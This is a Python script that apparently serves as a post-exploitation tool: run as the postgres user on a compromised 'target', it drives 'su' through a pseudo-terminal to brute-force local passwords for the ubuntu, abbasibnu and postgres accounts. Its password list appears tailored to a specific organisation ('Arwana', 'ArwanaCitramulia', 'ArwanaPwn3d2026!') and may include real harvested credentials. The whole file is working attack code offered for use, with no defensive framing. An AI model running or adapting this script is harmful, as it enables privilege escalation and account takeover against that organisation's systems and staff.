#!/usr/bin/env python3
# pty-based su password tester (run as postgres on target). No lockout on su.
import pty, os, select, time, sys

CORPUS = [
 "140984","postgres","armasi","RAcHm@n@IT5","@NenesSandra1996","P@$$w0rd",
 "adminabsen2025","whn2025","ArwanaPwn3d2026!","MgtPwn3d2026!","ubuntu","abbasibnu",
 "password","Password123","Arwana2026","arwana","arwanacitra","ArwanaCitramulia",
 "admin123","123456","abbas","Abc123","Arwana2025","Arwana@2026","Arwana123",
 "arwana123","Indonesia","Jakarta","admin","root","toor","postgres123","arwanacitra2026",
]

TARGETS = ["ubuntu","abbasibnu","postgres"]

def try_su(user, pw, timeout=6):
    pid, fd = pty.fork()
    if pid == 0:
        os.execvp("su", ["su", user, "-c", "echo SUCESS_$(id -u)"] )
    buf=b""; sent=False; start=time.time(); status=None
    while time.time()-start < timeout:
        r,_,_ = select.select([fd],[],[],0.4)
        if r:
            try: data=os.read(fd,1024)
            except OSError: break
            if not data: break
            buf+=data
            if not sent and b"assword" in buf:
                os.write(fd,(pw+"\n").encode()); sent=True
        wpid,wstatus=os.waitpid(pid,os.WNOHANG)
        if wpid:
            status=wstatus; break
    if status is None:
        try:
            os.kill(pid,9); status=os.waitpid(pid,0)[1]
        except Exception: pass
    return buf.decode(errors="replace")

for user in TARGETS:
    print(f"===== TARGET {user} =====", flush=True)
    for pw in CORPUS:
        out = try_su(user, pw)
        if "SUCESS_0" in out or "SUCESS_" in out:
            print(f"[HIT] {user} : {pw}", flush=True)
            sys.stdout.flush()
            # stop testing this user once hit
            break
        # else silent fail (avoid log spam in output)
    else:
        print(f"[NO HIT] {user}", flush=True)
print("DONE", flush=True)